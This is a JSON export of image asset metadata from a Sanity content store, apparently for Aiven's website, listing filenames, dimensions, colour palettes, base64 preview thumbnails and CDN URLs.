{"_createdAt":"2022-09-27T15:18:56Z","_id":"image-855f2451d7db558f8db7fb5cd49605ac0fdbeaa4-1600x1074-png","_rev":"z4aw9LO53fWpwEzdXP1iAj","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T15:18:56Z","assetId":"855f2451d7db558f8db7fb5cd49605ac0fdbeaa4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VXPPr@AF8_O@8_ysr?%1xtR%4TWBtmsnkqpdi_i^a_RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.48975791433892,"height":1074,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADxUlEQVQ4jVWSXUxbZRjHj8lEQIwxGj/mEqNLvNjIDIYy5kjMKCwxqFvixaY348MYJnoBjEJlEQZjm4V2rtIi5WtL5sbgQmyXVqfRJeMCDWxh0kItG/0C6rGlnPec8573fL2POY2aePFPnqvf88v/eRgk6gXOwZF9bx89/nFJudm512T2FJuqhovLqj17TVXDe0rNxjy8/9DRoUM1Hzg6umwT8wuLf6TTGRBFETRNA12nK6qqneCxnMekOVLQ3NpRcez9+rG6xrZIY9v55Mn2/sRJiy3ZaLHl5iarPdHc5UxYz3lirolv1xfuLYuZdIaKggiKooCuaUGV4FoxejefSaa2C1pa2809PX1e780fyPziCswvhmFuIQi/3l2Ge0urcH8lCkvhGAQjCYisbUAqlQZum6MYYyrLMqh8JqpGbltVz+HnmHgyU9Bh7TS73UPe5dAylokMGAl6Nr1FEYeoKitUVzSqKSrVFZVqokRFxFOe53NASZJATq3w6m37N/qFV0qY+LoBPG12udzeYDAkESwBzvJ0m80Aym4DETFISACBQ0AQD8rWNvBbWeC4fwyJDOrG74p2q9uv9+2qYOLJdH6bxVrpcrm/C4VCOUMiYMpnuRxEEkUgogRYlEDGBBQRg4B4QAhRjCVqdKhtLqn6re6A3vdiBbP6cOPR+oYPy53Or6ZCoZBodEIwpgLHgYAQYEEAyaiBaECIBjJRQTSggkAJIdS4Mv0zpOo/ngnkDF1fX36kuvrwPofj4tX/gJJEDdi/QGJYyxrIRogCCPGQzWYNMJVlAiS2oMo3OwL62Z0VTDK5yZSVle1xOBxXwuGwYGxUZJligacGTJYkqqmq8RpAKQVd1wFjDDxCIEkS3fprE2I/j6usu8YPpwsPMpecgzsqKytLent7r83OzuJ4LA5rD6M0Eo7Q1cgDGl2L0kQsQRPxJE0k13OJxZM0Fk/QaDxJ5+fuwE8XP1JCbS99L31W9CYzMjr+Qn19Q1VT0yfjdrs9fGXck7o2/iW+PmaDyVEb3Bjrh6mxgf9leswO06MDMDUyAJcHOuB6q1n7rWX3Lw96Te8wg4NDu1paT5lO1NYdb2ho+PRc+7H+6S/Mc357RcpvO8j6zx9g/X0H2EBvOevv3s/6Py9jA50mNmAtZQOWUjbQ8hp7p/nVzWD77plgzxtvMc3Np3bU1dXmv3vkvceP1FQV3R9++fWtyZ19aPL5GXT1WR+aeMaLPE/7kPspH7r0pA/Zn/ChC0U+dLbQh7ryvajzMR/fnjcjWPLOcJbC4r8BVy0A6T4AcmwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453c48","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#984e05","foreground":"#fff","population":0.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87d08","foreground":"#fff","population":4.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf95a8","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9db8dd","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c8c54","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87d08","foreground":"#fff","population":4.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-apache-kafka.png","path":"images/sczeoy4w/production/855f2451d7db558f8db7fb5cd49605ac0fdbeaa4-1600x1074.png","sha1hash":"855f2451d7db558f8db7fb5cd49605ac0fdbeaa4","size":82429,"uploadId":"qjCjppJQg1Q0gF6HY8AWjzNXahOaywBQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/855f2451d7db558f8db7fb5cd49605ac0fdbeaa4-1600x1074.png"} {"_createdAt":"2024-05-07T07:54:32Z","_id":"image-85907cae7aa92e36913bdd82f24b84052ba9e06a-1200x630-jpg","_rev":"TpAoe0ZPYnVPmPAgmZ7T06","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T07:54:32Z","assetId":"85907cae7aa92e36913bdd82f24b84052ba9e06a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN1j.#eS?Hq^|?jGfkjGfkujiwgNmlX-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAABBf/EACAQAAEDBAIDAAAAAAAAAAAAAAEAAgMEERITIjEhQWH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAwT/xAAXEQEBAQEAAAAAAAAAAAAAAAACAFED/9oADAMBAAIRAxEAPwBUNHxY7fFyF7X6TqOj2QOk3RtxNsSfJXGhToPSLWjkwdStmObibAg/QpYOlLJQv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a4b1e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6702e","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":22.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e5c8c8","foreground":"#000","population":0.05,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8bd72","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06c50","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":22.61,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-microsoft-azure-partnership.jpg","path":"images/sczeoy4w/production/85907cae7aa92e36913bdd82f24b84052ba9e06a-1200x630.jpg","sha1hash":"85907cae7aa92e36913bdd82f24b84052ba9e06a","size":23414,"uploadId":"iUd0xZSaQDfrpmNuAq3kctoxOZZRZPro","url":"https://cdn.sanity.io/images/sczeoy4w/production/85907cae7aa92e36913bdd82f24b84052ba9e06a-1200x630.jpg"} {"_createdAt":"2023-03-15T14:01:07Z","_id":"image-85b766aad68219b378defb5b526014cd52e4e177-800x800-jpg","_rev":"RksXZeZKLvjmDTh00dmygO","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T14:01:07Z","assetId":"85b766aad68219b378defb5b526014cd52e4e177","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAMCBAYHCAn/xAAjEAACAgICAQQDAAAAAAAAAAACBAEDAAUGERITMUFRByFh/8QAGAEAAgMAAAAAAAAAAAAAAAAAAwQAAQL/xAAXEQEBAQEAAAAAAAAAAAAAAAAAAQIS/9oADAMBAAIRAxEAPwDoPnm+nS62saTgGWD9OuZ+P7mBLclf0XLtYvdtLH0nDiq0bB68Cn2mJyT84vKVHqWaNmsDajEdrkcdlEz9ZrPmO0us5pp12GBWQJoLivMo6jr66+MHbejGM5uLa6rxlmhsE2VK7Vm6bapj9GJxMTjCF3no68zsG7GXLjtvMvIjKe5mciZYuvgfWtOzxjofIu+sYzdEUBvtqmPpK7BmqqPYQsmIxjGWj//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#57423d","foreground":"#fff","population":3.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c0c09","foreground":"#fff","population":0.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d9bab4","foreground":"#000","population":10.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9bab4","foreground":"#000","population":10.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0dbdc","foreground":"#000","population":0.54,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5c6e","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0523e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ewelina-grajko.jpg","path":"images/sczeoy4w/production/85b766aad68219b378defb5b526014cd52e4e177-800x800.jpg","sha1hash":"85b766aad68219b378defb5b526014cd52e4e177","size":38541,"uploadId":"EqGqF4oAoSZ3SPnVSYfXexP2OoEOKmZu","url":"https://cdn.sanity.io/images/sczeoy4w/production/85b766aad68219b378defb5b526014cd52e4e177-800x800.jpg"} {"_createdAt":"2022-06-30T20:10:16Z","_id":"image-85d0e081e657861c94385f0b917c6463af216ac1-2500x2500-jpg","_rev":"cEPH2uRN58AU2lp9QO8DiT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:07Z","assetId":"85d0e081e657861c94385f0b917c6463af216ac1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7TIzJ-p%~-;Io.mofnOofVYrDWBNuaxtR-pofXSj]oKpcWCRPaxiv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIDBAj/xAAgEAACAgICAgMAAAAAAAAAAAABAgADERIhUQQxE0Fh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAYEQEBAQEBAAAAAAAAAAAAAAABABECMf/aAAwDAQACEQMRAD8A6pJwJTQeWHJBOckydliIQGYBm9An3KKLaq9zsoUtyc/fUNKgctUREabP8Nd7JZaoZ6zlT1InwPGKMhqGpfcj97iIYNR30eNqHAiIjTf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#931c05","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#801804","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f73913","foreground":"#fff","population":0.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9cec4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e7a1","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b5550","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f73913","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"85d0e081e657861c94385f0b917c6463af216ac1-2500x2500.jpg","path":"images/sczeoy4w/production/85d0e081e657861c94385f0b917c6463af216ac1-2500x2500.jpg","sha1hash":"85d0e081e657861c94385f0b917c6463af216ac1","size":321350,"uploadId":"a0qjgqlXVwRtto6U4jLynPMNEE2ePtkN","url":"https://cdn.sanity.io/images/sczeoy4w/production/85d0e081e657861c94385f0b917c6463af216ac1-2500x2500.jpg"} {"_createdAt":"2022-06-30T20:10:22Z","_id":"image-85dbb496c23734119e24ea24e47f5e44a6ff43ae-939x629-png","_rev":"z4aw9LO53fWpwEzdXNEVkg","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:44Z","assetId":"85dbb496c23734119e24ea24e47f5e44a6ff43ae","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VEJNb8J71uWVJ6ni|LAWEynO1uEzNa;Oso}GS#K4S#xG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.492845786963434,"height":629,"width":939},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD2klEQVQ4jR2RW2gcVQCGz2Z3dmf2kluTzSYxJtlcVCQVuzu7O9mZOTvZmTnnzG13ztkk1EusF1oFSR+CoBUptkFqbXyoghDQUi3SViy2hDYVER9aYyrVPPigaNVoFYWC4ov25sj68L9+fHw/CPIMHDEYWJ17GlwrNUInNF94ecpNL6hm/4JsZJbLVvsvRV+4JbLonwXG/SOylp9KNORN6RGtUklVIGzXNI03TTNkmiYATWBwfwN8V/RBkGuEj6teYqdh9VKER3yERx4xSOYt6MXXVSasVmjyZ4kJG1JdWKhaXZ6JBhFCwxihHoxxzPd9AG42gYVp8EeBhoIc4w5DJ+4Tq89x3bGa444/jO2BwxU39Qlk8dMaTW1KLH6hXG/bozt3ztjuXa7n3W3b9iAhJGkRAsB1kYEb+f8XDrY1uIOqFZs1cPesSYYfNPDwsxrpf092m2aRCyqN/FVqhN9R3NhOnXQ/gO3sdmKPUUT6sWkKko0BAAEA3xZqTcPItRLjPpr0uNfKuHVv2cwsyHr6qEQ6Ngv1eJBjkeA+GgrAHgCIAuagLjyvmH0vymjoOcXsfBwakZsTDgDPbJVAMLED/C41omc0JpyvUOFK0RcuFb3EByU7tinWYrfyjP83z6LfTDJu2aARi9GWV6te9H3Z23Kq7KbPT3qJqwW/JZiYBqAiy6ETRcytSbX4KqSpjyFLbChMWJlqCG+SmfCnKguvK5TflBj/hcyEt3WaPIRZ9FiVRj9U/Y6z0O/4XKb8bZFFghwLAV3XWx9Vq90HZNx7SnY7r0hUuKQwfglRYbdDI4t2I7KMGsK6yvirJcZ/VWaJL8tUeEOxUwcUnHlBRen9Kkn8UPSjQZ6FASFkrI7J6GOmNb5vyhlYK9eTfxdYdE1l3LuaHztU9RKva17i8qQfuy6y2O08i1+W6u2Lmt2/QycjzEBD0wbqOqK68WYW4DjOVtfz7qWOe8+TyBk8qdZSzbe/L/rRlypW6y4NZZ6CZs+SQtrWy358Q2apc0o9s1h1R7fb7rjlulmHWL17p+zkDZHxACE0hDEeIQgPUQN1vgJtLtg2G9qn2dFpE3d5CA/7CGfnq6TvJKx1ntNY14pa71uqOMNzyMp6hAzOGDi9VHGSF1WWABDCBISwDUKYUiHk8hUVzBVkYCDEEULStutm6647utuwB88otZ7PVNZ9UfG7jpatLfOy3rNLqfbsl1HbcViLH8Q0BSRJArlcDhTyIvCKZTCvYTAgF4Gh6xwyzTQhJOtY1uhDOr7jmOy0/VZi8V9LjP9RrMXOioRfEQn/tehFT2s08kSNRv8DphM2AGRYZUwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#512c34","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#840424","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#512c34","foreground":"#fff","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#782039","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e396ac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4546c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc4068","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"85dbb496c23734119e24ea24e47f5e44a6ff43ae-939x629.png","path":"images/sczeoy4w/production/85dbb496c23734119e24ea24e47f5e44a6ff43ae-939x629.png","sha1hash":"85dbb496c23734119e24ea24e47f5e44a6ff43ae","size":154007,"uploadId":"n8Y5CEDktB9uzcmxrZ0yAqBdQn1F2MXU","url":"https://cdn.sanity.io/images/sczeoy4w/production/85dbb496c23734119e24ea24e47f5e44a6ff43ae-939x629.png"} {"_createdAt":"2023-04-06T12:41:16Z","_id":"image-85e54618be2a5ee16615d2b0b44ee4ae2667e161-1526x813-png","_rev":"ulgXm0wFeNKgOZ86vtKvAH","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:51:26Z","altText":null,"assetId":"85e54618be2a5ee16615d2b0b44ee4ae2667e161","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S$lo~W00-qVs~qM{W,W;f5IAR6xGn+e.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8769987699876998,"height":813,"width":1526},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHklEQVQokXWSjWokIRCE5/1f9EI20XHUrv51j3ZICHuXokEUP8tqPXC10RoRVM3Ns9zjVStimTvAc05MojF67wf13mq92kVEDBawsGzloKp5mIdoiDqYiUhYVATAwUTj6rMPAPyPbtg8WILFidNVZC+aHcwMgor877b7xmutWG5h6Ywx0sa2DgBzThHJTc/1/KHv6eYj3GlSKfU8zzEmgw/K8AmnyfN3rWdEzDEf7x+Px0drV2YGmAjMauYveBp+6Z6CqJZaS739Du7gCfmCd8Dl4Vlbd7w7Pwi11M/P0ntPmN5OPrux5P5NmxsUotlCdxXJtpvlB+ANl1J7H6p6zD8nl8uIQzXMwkxVIQlvM1e93yy/EBOus12tzUmq9heBZEhSIeSDhwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#484946","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2746","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b5538c","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84d4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b5538c","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"console-home-screen.png","path":"images/sczeoy4w/production/85e54618be2a5ee16615d2b0b44ee4ae2667e161-1526x813.png","sha1hash":"85e54618be2a5ee16615d2b0b44ee4ae2667e161","size":152171,"title":null,"uploadId":"T9lZd8EF0liEVJEr0ilYPm5llTosiBIZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/85e54618be2a5ee16615d2b0b44ee4ae2667e161-1526x813.png"} {"_createdAt":"2023-09-21T19:55:15Z","_id":"image-85ffd7b9778bc724bfd54a63959a4710e480219c-3295x1724-png","_rev":"kaQ4ZWos4gq6sBfd7uSOwh","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T19:55:15Z","assetId":"85ffd7b9778bc724bfd54a63959a4710e480219c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47A}*}[MH=rsPtlpKR~NIWF0gKMyE9ZRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAACbElEQVQokVWSa1MSARiF+QOFsbvssruwLLKwLjcBJbuMoaVCTZoklygLA2EJLPEWXWyy2/Sh//w0YDXThzPvt2fOOe/xiFqNWKpNIucym+hixLuE4i5he4jpHBKMj5DDA4TgPoK+h099jk97gU9r4VXqXPVX/pNH0KpTYKYwILUwxMkdMJd9QyJ/THJxjJMfT8GS0WEmsItXaXJNfYGg7zOjPOGKtD3VBDa5HlGvkVpwWV47o7j+juLGR1ZKnyluXLBS/s7q/Z/kb30gbPcwrBZa5BmysYcS6SMGd/HKjy9hfx1KwTqphT7L62OW199TLJ1z78EFxdIXiqVvrJR/ML80Jnf9kGrlI+XSCU52gJV+g2nv4w81mFEuoZdA9TFJp8lyocXNxQ6Z3CsS+UPs7BFW+pho6oRg/IDFm6d0X/6iUfvKfOGIWOY1EaeDajaZ1PYvsqZuUk5sMFxaZXehRCbWIGC2kc0ecvgV/vAQf3hAIjvi4YNz1tY+kMyfYaWPMO0OAbOJT63ilf84VNVN1uc26BXu0siWcCI1BK2FoHcQQy5iaIBkuKRzA+pbJ2yV35K78R4nf0Ys7RKydqexfYGdKdQjKhXs2R0KqSaZ5HNCkRay0SYQcdGsA9Toa+Rwl+hcizu397mx1MdKHmDYQ3SrTcB8hhR8gk+t41WqeARlG8vYIZXYw870MSbftPvY86NLF5lTdMtF1BtIehVJbyIG2/iNAVKoh6C/nO5T0NuIwS4eQX6EqW8Tjz0l6nTQrQ6hmEs8M2IuN+nqBN3qcS1Q44pUwSvXpxtUZs8IRMfI5hGyOUKZPUWLfeI3EpFRNXXmPMMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e63","foreground":"#fff","population":0.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d67","foreground":"#fff","population":21.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d67","foreground":"#fff","population":21.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#98a0cb","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca468","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac547c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44e0b","foreground":"#fff","population":0.74,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GCP_TechCrunch_social_media_1200x628_C (1).png","path":"images/sczeoy4w/production/85ffd7b9778bc724bfd54a63959a4710e480219c-3295x1724.png","sha1hash":"85ffd7b9778bc724bfd54a63959a4710e480219c","size":595378,"uploadId":"h36exWvcbDjgwsiaHc3Hab20cWuSjFob","url":"https://cdn.sanity.io/images/sczeoy4w/production/85ffd7b9778bc724bfd54a63959a4710e480219c-3295x1724.png"} {"_createdAt":"2022-06-16T23:49:35Z","_id":"image-86201ac0569e596449d453e806ce66e01cb38db0-1200x630-jpg","_rev":"qkpX9b3U0TpOGFQp8fVQoy","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:35Z","assetId":"86201ac0569e596449d453e806ce66e01cb38db0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA|R{$RkF{]O$na1aeo|V[*|IpofxYI?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgQF/8QAHxAAAgICAgMBAAAAAAAAAAAAAQIDEQAEBTESEyFB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQUGB//EABkRAQEAAwEAAAAAAAAAAAAAAAECAAMRBf/aAAwDAQACEQMRAD8A6MfE65gjk97WVth49HFb8urxXFe6OVTLJL4W8d0ldgZZMmaGPYRUnQOq/QD+ZDHqEWVc9M1jcXc8acVojX2NKGUhyzLbEChd4ZqhjWONURQqjoDDF230aq1k4YZaAO5//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7407","foreground":"#fff","population":7.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5c8c1","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7849c","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7407","foreground":"#fff","population":7.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/86201ac0569e596449d453e806ce66e01cb38db0-1200x630.jpg","sha1hash":"86201ac0569e596449d453e806ce66e01cb38db0","size":194967,"uploadId":"ThmrmEJZAlVykoEJXV8FFXHus4Jz2G81","url":"https://cdn.sanity.io/images/sczeoy4w/production/86201ac0569e596449d453e806ce66e01cb38db0-1200x630.jpg"} {"_createdAt":"2022-06-14T14:41:12Z","_id":"image-8632d7efdfa1d302ca6985f107570f028f8958ad-398x333-png","_rev":"oamrAPLmQLQjd9jh7YpzRq","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:12Z","assetId":"8632d7efdfa1d302ca6985f107570f028f8958ad","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e~L#5[IUxut7of~qjuWBozayRjt7RjWAWBRjRjofRjj[t7WBaxofay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1951951951951951,"height":333,"width":398},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAA7DAAAOwwHHb6hkAAADrklEQVQ4jT3Q/2sbZRzA8fsPum6drnPp+p31S5qluSaXSy/NJbnL5UvTNivCUEQUf/FLRQtr94WqpQNBcKCg4rfC/G37RSYKzrnJUBkLYquDNV3bNW2+Npfkkrvn7p7n7opcWnx4//TA6/N8eLDURmZ9M7u+md14mt9MF7d3+WxBKPJipSbXgQogVDQEDR0ZOjR0RdcUDckIAgglFWKpjd2GzG2li+nMoSwLQBCVuqxKKpQRUjQzGSFwyFQJqqIKsfWNzJMtU+5k+WyhWiyJfBVUBFCtyYKo1CSlDtS6rIqKOUhUoQShBFVzCkLY5nb+f1ko1Yt79a3N3Uerj7a20nxFFERFaPgDDKC5s4yQrCET72T4TK6SLwqFUp2vgnQ6/8ONG59fff/O9zcL+YIoQ1E5MAjAg0wMNCQhhBVLNb4slqtSpSaXq1LywcOl2ZnXx+lvPlx4up4C5muHHa7duJEQEiHEqjW5VldqoiICNZcrXF9efp4LnqNGPl1aeJJKAUWVGokHqerhFo0wnhcFQa7VlGpVXFn55+KFOVt/P+Olrn+7nMsVgYIkRQWKClQVmD8PVU1Dun4Q9tu9u8nkw5W/V3+//8fXX341nThnOXUKx/FrH19LJpOPH6+tpdbSO9uVSllWFKRrumEY+4axv28YBjb79ssLl2YWF+bn3n3npfPnnQ7H8ZbjbRbL1ETk8tzM0gfzVxcvffbJRz/euvnv6l+FfBYASdd1E+/vYxNhdyLmm46xiUiYo339vb1Hm5uPNjcP9nWFGWc84uKCI+Mh6pUXpxavzH63/MWDP++X9oqappkvRxhXnB2bDDFTXIj1Ur2dHU2N093ZHhhzRrkRv8/